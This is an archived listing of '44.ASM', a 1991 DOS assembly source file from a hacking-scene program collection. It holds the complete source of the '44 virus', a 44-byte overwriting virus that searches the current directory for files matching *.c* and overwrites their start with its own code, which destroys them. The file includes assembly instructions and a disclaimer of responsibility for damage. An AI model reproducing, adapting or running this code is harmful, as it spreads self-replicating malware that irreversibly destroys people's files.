home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / 44.ASM < prev    next >
Assembly Source File  |  1995-05-24  |  1KB  |  48 lines

  1. ;******************************************************************************
  2. ;*  44-virus  version 1.0
  3. ;* 
  4. ;*  Assemble with Tasm 1.01
  5. ;*  
  6. ;*  The 44 virus is a non-resident overwriting virus with a lenght 
  7. ;*  of 44 bytes. It will infect all files with the extension .C* 
  8. ;*  in the current directory.   
  9. ;*   
  10. ;*  (c) 1991 Dark Helmet
  11. ;*  
  12. ;*  The author is not responsible for any damage caused by the virus
  13. ;*  
  14. ;******************************************************************************
  15.  
  16. virus      segment
  17.            org  100h
  18.            assume cs:virus
  19.  
  20. len        equ offset last-100h
  21.  
  22. start:     mov ah,04eh          ; Search first file with extension .c*
  23.            xor cx,cx            ; Only normal files
  24.            lea dx,com_mask      ; 
  25.            int 21h              
  26.                       
  27. open_file: mov ax,3d02h         ; open file for read/write
  28.            mov dx,9eh           
  29.            int 21h
  30.  
  31. Infect:    mov cx,len           ; Write virus to start of file
  32.            lea dx,start          
  33.            mov ah,40h           
  34.            int 21h
  35.            
  36. Next:      mov ah,3eh           ; Close file
  37.            int 21h             
  38.            mov ah,4fh           ; Search next file
  39.            int 21h           
  40.            jnb open_file        ; Are there any files left?
  41.  
  42. com_mask:  db "*.c*",0           ; mask
  43. last:      db 090h
  44.  
  45. virus ends
  46.       end start
  47.  
  48.